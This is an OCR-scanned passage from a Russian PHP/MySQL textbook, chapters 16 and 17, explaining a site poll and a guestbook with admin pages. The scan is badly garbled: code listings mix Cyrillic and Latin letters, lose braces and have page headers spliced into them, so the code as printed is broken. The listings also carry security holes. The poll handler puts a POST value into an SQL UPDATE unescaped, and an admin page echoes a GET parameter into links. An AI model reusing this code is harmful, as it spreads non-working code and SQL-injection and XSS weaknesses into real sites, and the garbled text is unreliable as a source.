786 ?> // Формируем вопрос echo "<b>$poll [пarnе] </Ь>"; // Извлекаем варианты ответов $query = "SELECT * FROM $tblyol l_answer WНERE id_catalog = $poll [ id_catalog ] ORDER ВУ pos "; $ans = mysql_que ry ($query ); if (!$ans ) throw new ExceptionМySQL (mys ql_e rror () , $que ry, "Ошибка при обращении Часть 11. Создание сайmа к вариантам ответов") ; echo "<form action=poll . php method=post>" ; wh ile ($answers = mys ql_fetch_a rray ($ans) ) echo "<input type=radio narne=id_pos ition value=\"$answers [ id_pos ition] \"> $answe rs [пarnе] <br> "; echo "<br><input class=in_input type=submi t vаluе=Проголосовать >"; echo "</form>" ; Как видно из листи нга 16.8, перед НТМL-формой выводится вопрос, выстав­ ленный для голосования, который извлекается из табл ицы system_p oll ($tb l_po ll) . Так как в каждый момент времени доступно тол ько одно актив­ ное голосование (поле archive которого помечено значением active), SELECT-запрос всегда возвращает тол ько одну зап ись. Дал ее из табл ицы system_ poll_answer ( $tbl_p oll_answer) извлекаются варианты ответов. Для этого в WНЕRE-конструкции SELECT-запроса испол ьзуется условие равен­ ства поля id_catalog первичному ключу, соответствующему акти вному го -
глава 16. Блок голосования 787 - лосо ванию. В цикле напротив каждого из варианто в ответов выставляется п ереключател ь с именем id_position и значением поля id_position из таб­ л ицы вариантов ответа system_ pol l_answer ( $tbl_p oll_an swer) . Так как дан н ые передаются обработчику poll.pl1p методом POST, получ ить первич­ ный ключ выбранного варианта ответа можно будет в эл ементе супергло­ бального массива $_POST [ , id_position ' ] . Скри пт poll.pl1p выполняет двойную функцию: есл и он получает параметр i d_p os ition методом POST, производится добавление гол оса и отображают­ ся результаты гол осования. Есл и скрипт не получает никаких параметров (например, если посетител ь не голосует, а сразу переходит по ссылке Ре­ зул ьтаты) - просто отображаются резул ьтаты голосования на текущий мо­ м ент. В листинге 16.9 ПРИВОДИТGЯ содержимое скрипта poll.pI1 p. Листинг 16.9. Учет гол оса и ВЫВОД результатов poll .php <?рЬр / / Устанавливаем соединение с базой данных requi re_once ("config/config : рЬр") ; // Подключаем SoftTime FrameWork require_once ("COn fig/class.config .рЬр ") ; // Подключаем функщшо вывода текста с bbCode require_опсе ( "dmn/utils/utils . print_page . рЬр " ) ; // Подключаем заголовок require_once ("ut ils .title .php " ); try // Запрашиваем текущий o�poc $query = "SELECT * FROM $tbl_poll WHERE archive = 'active ' AND hide = 'show' ''; $pol = mysql_query ($query) ; if (!$pol ) { throw new Except ionМySQL (mys ql_error () , $que ry, "Ошибка при обращении к параграфам позиции ") ;
788 Часть 11. Создание сайmа if (rnуs ql_пwn_rОWS($роl) ) $poll // Учи тываем голос rny sql fetch_a rray ($pol) ; if (!ernpty ($_POST ) ) // Удаляем старые записи из таблицы $tbl poll session $query = "DELETE FROM $tbl_p oll_session WНERE putdate < NOW () - INTERVAL 1 HOUR" ; if ( !rnysql_query ($que ry) ) throw new ExceptionМySQL (rnys ql_e rror () , $query, "Ошибка очистки журнала посещений ") ; // Пр оверяем, не голосовал ли текущий посетитель ранее $query "SELECT СОИNТ ( * ) FROM $tbl_poll_session WНERE session = '''.session_id () ."'''; $ses = rny sql_que ry ($query) ; if (!$ses ) throw new Excepti onМySQL (rnysql_e rror () , $query, if ( !rnys ql_re sult ($ses , О) ) "Ошибка обращения к журналу посещений" ) ; $query = "INSERT INTO $tbl_poll_session VALUE S (NULL , '''.session_id () ... " NOW()) "; if( !rnysql_query ($que ry) ) throw new Except i onМySQL (rnysql_e rror () , $que ry, "Ошибка обращения к журналу посещений" ) ; $_POST ['id_an swer '] = intval ( $_POST ['id_answer ']); $query = " И РОАТЕ $tbl_p oll_answer
Гл ава 1 б. Блок голосования SEThits=hits+1 WНERE id�osition $_POST [ id_position] AND id_catalog $poll [ id_catalog] "; if( !rnysql_qu ery ($query) ) throw new Except i onМySQL (rnys ql_error () , $query, // Подключаем верхний шаблон $pagenarne $poll ['narne' ]; $keywords $poll ['narne' ]; "Ошибка во время голосования" ) ; require_once ("ternplates / top .php" ) ; // Выводим ре зультаты голосования echo title ( $poll ['narne' ]); // Подсчитываем сум му всех проголосовавших в текущем голосовании $query = "SELECT SUМ (hits ) FROM $tbl_poll_answe r WHERE id_catalog = $poll [ id_catalog] "; $tot = rnysql_query ($query) ; if( !$tot) throw new ExceptionМySQL (rnysql_e rror () , $query, "Ошибка извлечения резуль татов голосования") ; // Общее количе ство поданных голосов $total = rnysql_result ($tot , О) ; // Пр едотвращаем деление на ноль if ( $total == О) $total = 1; // Извлекаем варианты ответов и количество голосов , // отданных за них $query = "SELECT * FROM $tbl_poll_answe r 789
790 WНERE id_catalog ORDER ВУ роз"; $апз = my sql_query ($query ) ; if (!$апз ) $poll [ id_catalog] throw new ExceptionМySQL (mysql_e rror () , $query, Часть 11. Создание са йта "Ошибка извлечения резуль татов голосования" ) ; // Выводим заголовок таблицы с ре зуль татами голосования echo "<table width=lOO% borde r=O cellspacing=l cellpadding=l> <tr class=stable tr ttl clr> <td align=center class=stable txt> <Ь>Ответ</Ь> </td> <td align=center class=stable txt> <Ь>Проголосовало< /Ь> </td> <td align=center class=stab le txt> <Ь>%</Ь> </td> </tr>" ; $i=О; whi le ($answer if ( $i++ % 2) $class = "stable_tr_clr2"; else $class = "stable_t r clrl "; // Выводим резуль таты голосования echo "<tr class=\ "$class\"> <td class=stable_txt>$answer [name] </td> <td class=stable txt al ign=center>$answer [hits ] </td> <td class=stable txt align=center>" . sprint f ("%Ol . lf%s",
Глава 16. Блок голосования ?> $answe r ['hits']/$total*lOO, '%') . "</td> </tr>" ; есЬо "</tab le> "; есЬо "<div сlаss=maiп_tхt>Общее количество проголосовавlШ1Х составляет : $total</div>" ; // Подключаем нижний шаблон require_once ("templates /bottom.php" ) ; catch ( Excepti onМySQL $ехс ) requi re_once ("exception_mysql_debug .php " ); catch (ExceptionМySQL $ехс ) requi re_once ("exception_my sql_debug .php " ); catch (ExceptionМemb er $ехс ) require_once ("excepti on_memb er_debug .php " ); 791 Первая часть скрипта посвящена учету голоса: это происходит, если скрипту методом POST передается параметр id_po sition и срабатывает условие if ( ! empty ($_POST ) ) . Далее при помощи DЕLЕТЕ-запроса из табл ицы system_po ll_session ( $tbl_p oll_session) удаляются все зап иси, время созда­ ния которых превышает час . После этого из этой табл ицы извлекается кол иче­ ство записей, поле session которых совпадает с текущим идентиф икато ром пользователя, возвращае мого функцией session_ id () . Есл и полученное значе­ н ие больше нуля, считается , что посетитель уже проголосовал, поэто му его го­ лос не уч итывается, а скрипт переходит к отображению результатов голосова­ ния. Если ни одной записи не обнаруже но, в таблицу system_po ll_session ($ tbl_poll_s ession) помещается запись с указанием текущего времени, в ре­ зультате чего посетитель теряет возможность голосовать в течение следующего часа. После этого при помощи оператора ИРDАТ Е увеличивается на еди ницу з нач ение поля hi ts для выбранного варианта ответа.
792 Часть /1. Создание саЙГnа ЗА МЕЧА НИЕ Представленная система защиты не является универсальной и легко обхо­ дится , особенно есл и для накрутки применяется робот. Пред полагается что посетители не имеют выгоды в искажении результатов опроса. П ри ис� пользовании любых опросов через Интернет практически не сущеСТвует одн овременно надежного и удобного способа защиты от повторного гол о­ сования. в завершающей части скрипта выводится табл ица с резул ьтатами ГОЛОсова­ ния. Для вычисления процентного соотношения варианто в ответов и общего кол ичества проголосовавших к табл ице system_poll_answer ($tbl_poll_answer) осуществляется SЕLЕСТ-запрос с использованием ФУНК­ цИИ SUM ( ) , кото рая подсчитывает су мму значений столбца hi ts для текущего голосования.
794 CI ms g - сообщение; CI answer - ответ администратора; CI putda te - дата добавления сообщения; Часть 11. СоздаНUf! са йm а CI hide - поле типа ENUM, принимающее тол ько два значения: hide, есл и сообщение скрыто и недоступно для просмотра со стран иц сайта, и s h ow, есл и сообщение отображается на страни цах саЙта. В листинге 17.1 приводится оператор CREATE TAВLE, создающий табл ицу system_guestbook, которая в скриптах обозначается при помощи переменной $tbl_gue stbook. ЗА МЕЧАНИЕ в таблице system_guestbook поле для URL намеренно не вводится , бол ее того, в тексте сообщения будет также запрещено использовать URL - это позволит отсечь рекламные сообщения, раскручивающие сайты : при отсут­ ств ии возможности помещать URL, раскрутч ики те ряют к ней инте рес. Листинг 17.1 . Та блица для хранения соо бщен ий sуs tею_guе stЬооk CREATE TAВLE system_guestbook ( ); id_pos ition INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT , сНу TINYTEXT , msg ТЕХТ, answer ТЕХТ , putdate DATE TlМE DEFAULT NULL , hide ENUM('show' , 'hide' ) DE FAULT 'show' , PRlМARY КЕУ (id-p osition) Пол ьзовател и в обязательном порядке должны заполнять поля пате И ms g, поле ci ty заполняется по желанию. Все остальные поля не предназначены для запол нения посетител ем и заполняются либо движком гостевой книг и ( id_pos ition, putdate И hide ) , либо ад министратором ( answer И hide ) . Так как заполнение базы данных в основном производится посетителями сайта, а не адм инистратором, разработку госте вой книги целесообразно на­ чать с блока представл ения (есл и будет возможность пополнять базу дан­ ных - проще будет разрабаты вать систему администрирования).
гпава 17. Го стевая книга 795 - 17.2. Блок предста вления Бл оК представления содержит два файла: guestbook.pllp, вы водящий сообще­ ниЯ гостевой книги, и guestbook_ad d.ph p, который позволяет посетител ям до ба влять свои сообщения. За в ывод сообщений гостевой книги ответственен файл gllestbook.pl1 p, со­ держи мое которого представл ено в листинге 17.2 . Внешний вид стран ицы, ген ерируемой файлом gllestbook. php, представлен на рис. 17.1 . о РАЗДЕЛЫ --- ---------- опоиск -- --,�-- -- - r ..- ' � '- -- � "L � ; � � · � '( - ' II'��Т�' ·li ., I FJобааить соо5ш€нне- Первое сообш�ие 9 Г"(JC1"e В ОЙ I\.">ТS -re! ДДмuнистратоJr. Отее} адм""истратора касообщек-ие. 11-2j Рис. 17.1 . Внешний вид госте вой кн иги С крипт В файле guestbook.pl1p принимает еди нственный GЕТ-параметр page, через который передается номер страницы в постран ичной навигаци и. Листинг 17.2 . ВЫВОД сообщений гостевой книги, guestbook.php <?php // Устанавливаем соединение с базой данных requi re_once ("config/config .php" ) ; // Подключаем SoftTime FrameWork requi re_once ("config/class.. config .php ") ; // Подключаем ФУНКЦИЮ вывода текста с bbCode
_ 7 _ 9 _ б _____________________________________________ ч _ a _ с _ m _ Ь _ I_I . _ с _ О _ з _ д _ a _ H _ и _ e _ c � a�й�� requi re_once ("drn n /utils/utils .printyage .php" ) ; // Подключаем заголовок require_once ("ut i1s . tit1e .php ") ; try // Количество сообщений на странице $pnurnber = 10; // Количество ссылок в постр аничной навигации $page_l ink = 3; // Объявляем объект постраничной навигации $obj = new pager_mys q1 ($tbl_guestbook, "WHERE hide = 'show' '', "ORDER ВУ putdate DE SC", $pnurnbe r, $page_l ink ) ; // Подключаем верхний шаблон $pagename $keywords "Гостевая книга "; "Гостевая кни га"; requi re_once ("temp1ates / top .php " ); echo tit1e ( $pagename) ; echo "<р c1ass=main_txt> <а href=gue stbook_add .php с1аss=maiп_tхt_1пk>ДОбавить сообщение</а></р> "; // Получаем содержимое текущей страницы $guest = $obj ->getyage () ; // Если име ется хотя бы одна запись - выводим ее if (!empty ($guest ) ) { echo '<table border="O" ce11padding="0" ce11spac ing="0" width="100%" a1ign="left">' ;
гпава 17. Го стевая книга for ($i = О; $i < count ($gue st ); $i++) // Если указан город - выводим его Н( !emp ty ($guest [$i] ['с Ну ' ])) $city = "&nb sp; (".printyage ($gue st [$i] ['c ity ' ]).") "; else $city = ""; // Формируем дату в привычном для поль зователя формате list ( $date , $time ) = explode (" ", $guest [$i] ['putdate' ]); list ( $ye ar, $month , $day) = explode ("-", $date) ; $date = "$day . $month .$year ". sub str ( $time , О, 5) ; // Формируем один из ответов echo '<tr Ьgсо l о r= "#С5D7 DБ" class=main_txt> <td rowspan="l" height="20"> <nobr><p class=ptdg><b> '. print_page ($gue st [$i] ['пате' ]) . '</b>' . $city . '</nobr></td> <td width="lOO%" align="right "> 797 <nobr><p class=help>oT : <b> '.$date . '</b> &nbsp ;</nobr> </td> </tr> ' ; echo '<tr> <td colspan=2 bgcolor= "gray" height="l"> <img src= " images /pic .gif" </td> </tr> ' ; border="O" width="l" height= "l" alt=""> echo '<tr va lign=" top" clas s=main txt> <td colspan="2"><p clas s=textgbook> , . n12br (printyage ($guest [$i] ['ms g' ])). '</р>' ; if (!emp ty ($gue st [$i] ['answe r' ]) && $guest [$i] ['answer '] != ' - ') // Если име ется ответ администратора - ВЬffiОДИМ его echo '<р class=panswer style=" color : grey"> <Ь>Администратор : '. n12br (pr int_page ($gue st [$i] [ 'answer ' ])).'</ Ь>
798 ?> </р>' ; есЬо "</td></tr>" ; есЬо "</table> "; / / Выв одим ссыпки на другие страницы есЬо '<br clear="all "> '; есЬо "<р class=main_txt>" ; есЬо $obj ; есЬо "</р >"; / / подключаем нижний шаблон require_once ("temp lates /bottom.php" ) ; catch ( ExceptionМySQL $ехс ) require_once ("e xception_mys ql_debug.php ") ; catch ( ExceptionМySQL $ехс ) �equire_once ("exception_my sql_debug .php " ); catch ( Excepti onМember $ехс ) requi re_once ("exception member debug .php" ) ; Часть 11. Создание са йmа Скрипт из листинга 17.2 орган изует постран ичный вывод информации из табл ицы system_ guestbook ($tbl_gue stbook) при помощи класса постранич­ ной навигации pager_mysql (см . главу 7). Объявление объекта кл асса выгля­ дит следующим образом: $obj = new pager_mys ql ($tbl_guestbook, "WHERE hide = 'show' ", "ORDER ВУ putdate DESC", $pnumbe r, $page_link) ;
Гл ава 17. Го стевая книга 799 Данное объявление эквивалентно SQL-запросу, извлекающему из табл ицы s y s t em_guestbook ($tbl_gue stbook) не скрытые сообщения (по 1 О записей за оди н раз), отсортированные от более поздних к более старым (л исти нг 17.3). Л истинг 17.3. SQL-запрос на извлечение сообщений SELECT * FROM system_g ues tbook WНERE hide = 'show ' OR DER ВУ putdate DE SC LIMIT О, 10 Дал ее в цикле for выводятся полученные сообщения с указан ием имен и ав­ то ра, даты размещения сообщения, города (если он указан автором) и само сообщение. Есл и поле answe r табл и цы system_gue stbook ($tbl_gue stbook) содержит ответ администратора, он выводится под основным сообщением . В се поля, извлекаемые из базы данных, перед выводом обрабаты ваются п р и помощи функции print_page (), которая осуществляет подстановку тегов bbCodeO и предотвращает НТМL-манипуляции на страницах госте­ во й книги. 0110110< - --------- tI КАТАЛоr - -- -- ------ С: ::-- ---- J [___________==-.1 c�npиOТ�(7WN� 06'�'Й)� с�c:m:tСОА��с�1 б.� � ..о'!QL J r2-)�t" ("t<:60� \ll)@'(lotJ r !O.;:OC!li i1 co (''Т�tt<f(:IrO, ''4tоttetoO'"v (Qo. . '"'$-t'tiS't. (". я.ос6ц.е� A�.·.&O. (6"nbl Рис. 17.2. Форма для добавления нового сообщения
800 Часть 11. Создание са йmа Посетител и имеют возможность не только читать сообщения, но и размещать свои собственные сообщения: дл я этого им достаточно перейти по ссылке Добавить сообщение, которая ведет на стран ицу guestbook_ad d.pI1p, вне ш ­ ний вид кото рой представлен на рис. 17.2 . Обязател ьные для заполнения поля в НТМL-форме для добавления сообще ­ ния снабжаются символом *, если одно из полей не будет запол не но - п ри попытке отп равить сообщение будет выведена фраза Поле не заполнено. Содержимое файла guestbook_ad d.php представл ено в листинге 17.4. Листинг 17.4 . Добавление сообщени я guеstЬооk_зdd.рhр <?php // Устанавливаем соединение с базой данных require_once ("c onfig/config .php" ) ; // Подключаем SoftTirne FraтeWork requi re_once ("c onfig/class.config . php " ); // Подключаем функцию вывода текста с bbCode require_once ("drn n /utils/utils . printyage .php ") ; // Подключаем заголовок require_once ("utils .title .php " ); try $ пате new field_t ext ("пате", "Имя" , true , $_POST['пате']); $city = new field_t ext ("c ity" , "Город " , false, $_POST [ 'city ' ]); $rns g new field_textarea ( "rns g" , "Сообщение " , true , $_POST['rnsg'] , 70, 10) ;
� � а�в � а _ 1 _ 7 _ . _ � _ о _ с _ m _ е _ в _ а _ я _ к _ н _ u _ га ____________________________ ____________ __ ___ 8 _ 0 _ 1_ $text = "С целью предотвращения спама (ре кпамных объявлений ) сообщения , содержащие ссылки , блокируются ."; $warning = new field_p aragraph ($t ext) ; $fonn = new fonn(array("name" => $пате, "city" => $city, "msg" => $msg, "warning " => $warning) , "Добавить сообщение ", "main_txt" , .. ", "in_input") ; // Обработчик НТМL-формы if(!emptу($ POST)) // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fonn->ch eck () ; // Исключаем наличие URL в сообщении if ( preg_match ( '' lhttp: / /li'' , $fonn->fields ['ms g' ] ->value ) 1 1 preg_ma tch (''lhttp: / /li'', $fonn->fields ['сНу ']->value ) 11 preg_ma tch ( '' lhttp : // 1 i", $fonn->fields ['name']->value ) ) $error [] "В гостевой книге не допускается исполь зование URL" ; if (preg_ma tch ("lwww\ . 1 i", $fonn->fields [ 'ms g'] ->value ) 1 1 preg_ma tch ("Iwww\ . 1 i", $fonn->fields [ 'city ' ] ->value) 1 1 preg_ma tch ("lwww\ . 1 i", $fonn->fields [ 'name']->value ) ) $error [] = "В гостевой книге не допускается исполь зование ИRL" ; // Запрещаем сообщения исключительно на английском языке if ( !preg_ma tch (" 1 [а-яе ] 1 i", $fonn->fields [ 'ms g' ] ->value ) ) $error [] = "в гостевой книге не допускаются сообщения подобного формата" ;
802 Часть 11. Создание сайmа // Если все проверки успешно пройдены - добавляем сообщение if (empty ($error) ) // Формируем SQL-запрос на добавление позиции $query = "INSERT INTO $tbl_gue stbook VALUES (NULL , ' ( $form->fields [name] - >value )', ' ( $form->fields [city] ->value )', ' ( $form->fields [msg] ->va lue )', ,, NOW(), ' show' )"; if ( !mysql_query ($query ) ) throw new Except i onМySQL (mysql_error () , $query , "Оll lИ бка при добавлении новой позиции" ) ; // Осуще ствляем редирект на основную страницу header ( "Location : guestbook .php" ) ; exit () ; // Подключаем верхний шаблон $pagename "Гостевая кн ига (добавить сообщение )"; $keywords "Гостевая кни га"; requi re_once ("templates/top . php " ); // Название страницы echo title ( $pagename) ; ?> <р class=ma in txt> Теги для выделения текста : <а class=main_t xt_lnk href= # onCl ick="javascript :tag(' [Ь] " '[/Ь ] '); return false;" >
гл ава 17. Го стевая книга [Ь] <Ь>Жирный</Ь> [/Ь] </а> , <а class=main txt lnk href= # onClick="j avascript : tag (' [i] " '[/i] '); return false; "> [i] <i>Наклонный< /i> [/i] </а>, <а clas s=main txt lnk href= # onCl iCk="javascript : tag ( , [и] " '[/и] , ); return false ;" > [и] <и>Подчеркнутый</и> [/и] </а>, <а class=main_txt_lnk hre f=# 803 onClick="javascript :tag(' [вир ] " '[/вир ] '}; return false ;" > [sир] < sир>Верхний индекс< /sир> [/sир] </а>, <а class=main_txt_lnk hre f=# onClick="javascript :tag(' [виь ] " '[/виь ] '}; return false ;" > [sub ] <sub>Нижний индекс< /sub> [/sub] </а> '</р> <?php // Выв одим сообщения об ошибках , если они имеются if( !empty($error) } foreach ($error ав $err} echo "<врап style=\"color :red\ " class=main_txt>$err</span><br>"; } // Выв одим НТМL-форму $form->print_form (} ; // Подключаем нижний шаблон require_once ("templates /bottom.php") ; catch ( Excepti onМySQL $ехс } requi re_once ( "except i on_mys ql_debug .php " }; catch ( ExceptionМySQL $ехс } require_once ("exception_my s ql_debug .php " }; catch ( Excepti onМember $ехс }
804 Часть 11. Соз дание сайmа require_once ("exception_memb er_debug .php " ); ?> <script language= 'Java Scriptl .l' type= 'text /javascript '> <1-- function tag (textl, text2 ) if ((document .selection) ) document .form .msg . focus () ; document .form. document .selection . createRange () .text textl+document .form. document .selection.c reateRange () .text + text2 ; else document .form. msg .value += textl+text2 ; //--> </script> НТМL-форма, формируемая скриптом из листи нга 17.4, содержит два тек­ стовых поля: name (для имени) и сНу (для города), текстовую область ms g для сообщения и абзац, поясняющий политику сайта относител ьно ввода URL. Помимо это го, перед НТМL-формой выводится пять управляющих ссылок, позволяющих использовать следующие bbCode-теги : О [Ь] ...[/Ь] - выделение фрагмента текста жирным шрифтом; О [i] ...[/i] - выделение фрагмента текста курсивом; О [и] ...[/и] - подчеркивание фрагмента текста; О [sup] ...[/sup] - превращение фрагмента текста в верхний индекс; О [sub] ...[/sub] - превращение фрагмента текста в нижний индекс . Обрамлять те кст те гами позвол яет JаvаSсгiрt-скри пт, который получает дос­ туп к выделенному фрагменту текстовой области формы ms g. После нажатия на кнопку Добавить сообщение в действие вступает обра­ ботчик НТМL-формы. Помимо традиционной проверки, которая помещает в массив $error сообщения о незаполненных полях: $error = $form->check () ; массив $error запол няется дополнительными сообщения ми, в том случае если какое-то из полей содержит фрагменты URL ил и текстовое сообщение цел иком набрано символам и лати нского алфавита и не содержит ни одного
� � а�в�а __ 17 _ . _ � _ о _ с _ m _ е _ в _ а _ я _ к _ н _ u _ г _ а ____________________________________________8 _ 0 _ 5 _ си мвол а русского ал фавита. Эти проверки позволяют отсечь большинство с п ам-сообщений (сообщений реклам ного характера ил и ориентированных на поис ковые роботы). ЗАМЕЧАНИЕ Если приведенных в листи нге 17.4 проверок окажется недостаточно, можно использовать дополнител ьные проверки , например, на вхождение доменов первого уровня .ru, .сот и т. п . Для этого можно использовать регулярное выражение"I\ . [а-z](2,З}Ii". Если все проверки успешно пройдены, в таблицу $tb l_gue stbook (s у stеш_g uе stЬооk) при помощи INSЕRТ-запроса добавляется новое сооб­ щение, после чего посетител ь пере направляется на гл авную стран ицу го сте ­ во й книги gl1estbook.pi1p при помощи НТТР-заголовка Location . 17. 3. С исте м а ад м инистрирования После того как получена возможность запол нять базу данных, можно при­ ступить к разработке систе мы ад м инистрирования. Систе ма администр иро­ ван ия будет включать пять файлов: О il1dex.pi1p -- гл авная страница, воспроизводящая постраничный список сообщений госте вой книги от более поздних к более стар ым; О gl1estedit.pi1p -- НТМL-форма, предназначенная дл я редактирования со- общения и добавления ответа модератора; О gl1estdel. pl1p -- скрипт, удаляющий сообщение; О gl1estblde.pl1p -- скрипт, скрывающий сообщение; О gl1estsi1ow.pI1p -- скрипт, отображающий сообщение. Гл авная страница системы ад министрирования гостевой книги il1dex.pi1p включает табл ицу, где п од каждое из сообщений отводится отдел ьная строка. Табл ица содержит четыре столбца: сообщение пользовател я, ответ адм ини­ стратора, дата сообщения и блок управляющих ссылок, позволяющий редак­ тироват ь, скрывать/ото бражать и удалять сообщение. На рис. 17.3 представ­ ле н внешний вид гл авной страницы администрирован ия. Содержимое файла index.pi1p приводитс я в листинге 17.5.
806 Часть 11. Создание са йmа Сообщение О1вет Дат ДеЙС!ВIIЯ КоН"'гактная kШф'Q.I?l" ЭЩ1.1:! s.Qо.R.Qй!!.н . .QШ.�.т.!>J rостева!; книга Блок rСГIOс;оезния I новый пользователь I (Харьков) . I Второе сообщение а I гостеВОl4 книге . I�MR.. . _ l' Ответ ЗДМl lНlюратора " ервое с?оощеНl1е· в на сооОщею,е. гостееои книге! ______._ ..:.- -1. __•___.. ..... ______•___• ____• • !1-2] 2007-10 -29 19:31 :28 2007-10 -29 18:57:52 Скрыть I E�� �2 1 УrщПlНЬ J Скрыть i РеДЭ I{Пlроаать I _ Ур'-:,!: " ТЬ.._J Рис_ 17.3. Внешний вид гл авной стра ницы администрирования, index.php Листинг 17.5. Главная страница системы администрирова ния, index.php <?php // Устанавливаем соединение с базой данных requi re_once (" ../ . ./config/config .php ") ; // Подключаем блок автори заци и require_o nce (" ../utils/securi ty_m od .php ") ; // Подключаем SoftTime FrameWork requi re_once ("../ ../config/Class . COnfig .dmn .php ") ; // Подключаем блок отображения текста в окне браузера requi re_once ("../utils /utils .printyage .php" ) ; // Данные переменные определяют название страницы и подсказку $title = 'Управление блоком "Гостевая книга" '; $pageinfo = '<р сlаSS=hе lр>Здесь можно отредактировать или удалить сообщение в гостевой кни ге .</р>' ; // Вкruочаем заголовок страницы require_once (" ../utils/top .php" ) ; try
Глава 17. Го стевая книга // Количество ссылок в постраничной навигаци и $page_l ink = 3; // Количество позиций на странице $pnumber = 10; // Объявляем объект постраничной навигации $obj = пеw pager_mys q1 ($tbl_guestbook, II f' , "ORDER ВУ putdate DESC" , $pnumber, $page_1iпk } ; // Получаем содержимое текущей страницы $guest = $obj - >get_page (} ; // Если име ется хотя бы одна запись - выводим ее if ( !empty ($guest} } ?> <table width="100%" c1as s="table" border="O" ce1 1padding= "0" се11sрасiпg="0"> <tr c1ass="header" a1ign= "center"> <td>Сообщение </td> <td>OTBeT</td> <td>Дата< / td> <td>Действия< /td> </tr> <?php for ($i О; $i < count ($guest}; $i++} // Если позиция отмечена как невидимая (hide= 'hide' ), выводим 807 // ссылку "отобразить ", если как видимая (hide= 'show' ) - "скрыть " $co1orrow = ""; $ur1 = "?id_position= { $gue st [$i] [id_p osition ] } &page=$_GET [page] "; if ( $guest [$i] ['h ide'] = 'show' } $showhide "<а href=gue sthide .php $ur1
808 else title= ' CKpblTb позицию '> Скрыть</а>" ; Часть 11. Создание сайmа $showhide $colorrow "<а href=guestshow . php$url titlе= ' Отобразить позицию '> Отобразить</ а> "; "class= ' hiddenrow '''; // Если указан город - выводим его if (!ernpty ( $gue st ( $i] ['city ' ])) , $city = "(".print_page ($gue st [$i] ['c ity ' ]).") "; else $city = ""; // Выводим позицию echo "<tr $colorrow > <td><b> " .printyage ($guest [$i] [ 'пате' ]). " $city< /b><br> ". n12br (print_page ($guest [$i] [ 'msg' ])). "</td> <td>" .n12br ( print_page ($gue st [$i] ['answer '])). "&nb sp< /td> <td align=center> {$gue st [$i] [putdate ] } </td> <td align=center> $showhide<br> <а href=guestedit . php$url titlе= ' Редактировать позицию '>Редактировать </а><Ьr> <а href=# onClick=\"delete_pos ition('guestdel . php$url ',". "'Вы действитель но хотите удалить позицию? ');\ ">Удалить </а></td> </tr>" ; echo "</table><br><br> "; / / Выводим ссылки на другие страницы echo $obj ; catch ( ExceptionМySQL $ехс )
� � а�в � а�17�.���о�с�m�е�в � а�я�к�н�u�г�а ____________________________________________ 8 � O _ 9 � ?> require ("../utils/exception_my sql .php ") ; / / Вкmочаем завершение страницы require_once ("../utils/bottom.php ") ; Как видно из листи нга 17.5, для вывода сообщений из табл ицы s ys tem_ gue stbook ( $tbl_s ystem) традиционно используется кл асс постра­ н ичной навигации page r_my sql (см . главу 7). Для вывода всех полей из базы дан ных используется функция print_page () из файл а uti ls/utils.print_page .php (л истинг 17.6). Листинг 17.6. ФУ НКЦИЯ ДЛЯ вывода сообщений в окно браузера print _ page () <?php function print_page ($pos tbody ) // Разрезаем слишком длинные слова $postbody = preg_replace_ca llback ( " 1 ([а-zа-я\d!] {З5,})Ii", "split_text" , $postbody ) ; // Предотвращаем ХSS-инъе кции $postbody = html specialchars ($postbody , ENT_QUOTE S) ; // Теги $pattern = "#\ [Ь\] (.+) \ [\/b\]#isU"; $postbody = preg_replace ($pattern, , <Ь>\\1</Ь>' , $postbody ) ; $pattern = "#\ [i\] (.+) \[\ /i\] #isU"; $postbodr = preg_replace ($pattern, '<i>\\l</i> ', $postbody ) ; $pattern = "#\ [u\ ] (.+) \ [\/u\ ] #isU"; $postbody = preg_replace ($p attern, '<u> \\l</u> ', $postbody ) ; $pattern = "#\ [sup \] (.+ )\[\ /sup \ ]#isU" ;
810 Часть 11. Соз дание са йта $postbody preg_replace ( $pattern , '<sup>\\l</sup> ', $pos tbody ) ; $pattern = "#\ [sub\] ( .+) \ [\/sub\]#isU"; $postbody = preg_rep1ace ( $pattern , '<sub> \\l</sub> ', $pos tbody ) ; $pattern = " #\[ш1\] [\s]� ([\S]*) [\s]*\[\/ur1\]#si"; $postbody = preg_rep1ace_ca 11back ( $pattern, "ur1_rep1ace " , $postbody ) ; $pattern = "#\[ur1[\s]*= [ \s]*([\S]+)[\s]*\][\s]*([Л\[] *)\[/ur1\]#isU"; ?> $postbody = preg_rep 1ace_ca 11back ( $pattern, "urJ. _ r ep1ace_name " , $postbody ) ; return $pos tbody ; function ur1 rep1ace ($rnatches ) if (substr ($matches [1] , О, 7) != ''http : //'') $rnatches [l] = ''http: //'' . $matches [l] ; return "<а href= ' $rnatches [l] , c1ass=news_tx t_lnk>$matches [l]</a>"; function ur1_rep1ace_name ($ma tches ) if (substr ($rnatches [1] , О, 7) != ''http: //'') $match es [l] = ''http: //'' . $rna tches [l] ; return "<а hre f= ' $matches [ l ] , c1as s=news_txt 1nk>$matches [2] </a>"; funct ion split__text ($rna tches ) return wordwrap ($matches [l] , 35, , ',1); ФУНКЦИЯ разбивает сл ишком дл инные сл ова, преобразует при помощи ФУ НК­ ЦИИ htm1 specia1chars () НТМL-последовател ьности в безопасную форму и при помощи регулярных выражений осуществляет подстановку те го в
Гл ава 17. Гостевая книга 811 bbCode. Сл едует обратить внимание, что помимо рассмотренных выше тегов [Ь] [/Ь], [i][/i], [ и][/и], [sup] [/sup] и [sub] [/sub] испол ьзуются теги [url=] [/ lIГl] и [u rl] [/url] . Таки м образом, несмотря на то что посетител и не имеют права ос­ тавлять URL в тексте сообщения, адм инистратор может использовать URL в своем ответе. Дл я ответа на сообщение ил и дл я редактирования сообщения необходи мо вы брать управляющую ссыл ку Редактировать, расположенную в посл ед нем столбце табл ицы с сообщениями (рис. 17.3) и приводящую на стран ицу gllestedit.pl1p, внешний вид кото рой представл ен на рис. ] 7.4 . Содержимое файла guested it.pl1 p представлено в листинге 17.7 . Стран ица принимает два GЕТ-параметра: page - номер стран ицы в систе ме постра­ н ичной навигации и id_p o sit ion - первичный кл юч редакти руемой записи в табл ице system_g ue stbook ($tbl_gue stbook). Вопросы и Q]:[!Ш!! Госrевая ",шrа Блок новости Блок rqnQ,,9JШ! ! ИЯ Город: СообщеНI·lе ': [Ь} Первое [/Ь] со общение Е [i] гостевой книге [/i] ! ! . �,,_! ........ ........ .... ._ . ....... .... .. .... ffi Ответ администратора на сообщение . +;'.;:" ОтОбражать: R: Редактирова ть , i � Рис. 17.4. РедаКТИ РОl3ание текста сообщения и 